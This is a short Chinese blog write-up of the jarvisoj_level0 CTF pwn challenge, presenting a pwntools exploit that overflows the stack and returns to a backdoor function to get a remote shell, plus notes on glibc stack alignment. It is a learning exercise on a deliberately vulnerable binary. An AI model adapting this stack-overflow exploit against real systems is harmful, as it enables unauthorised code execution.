pwn | jarvisoj_level0
jarvisoj_level0
简单栈溢出 + ret2text
给了后门,直接打
exp:
from pwn import *
import time
context.log_level = 'debug'
sh = remote('node4.buuoj.cn', 28775)
# sh = process('./level0')
# sh = gdb.debug('./warmup_csaw_2016', '0x00000000004006A3')
time.sleep(1)
sh.recv()
payload = b'a'*0x88+p64(0x0000000000400596) # 这里如果是本地+1就好了
sh.send(payload)
sh.send('\n')
sh.interactive()
sh.close()
这里存在一个小细节,就是本地打不通远程能打通,原因是glibc的版本问题,大于2.27的时候调用system("/bin/sh"),之前有个xmm寄存器使用。要确保rsp是与16对齐的,也就是末尾必须是0.
参考这个文章:https://blog.csdn.net/fjh1997/article/details/107695261
所以本地如果要打通就少push一个寄存器就可以了。
查看glibc版本:
ldd --version
本文来自博客园,作者:Mz1,转载请注明原文链接:https://www.cnblogs.com/Mz1-rc/p/15551637.html
如果有问题可以在下方评论或者email:mzi_mzi@163.com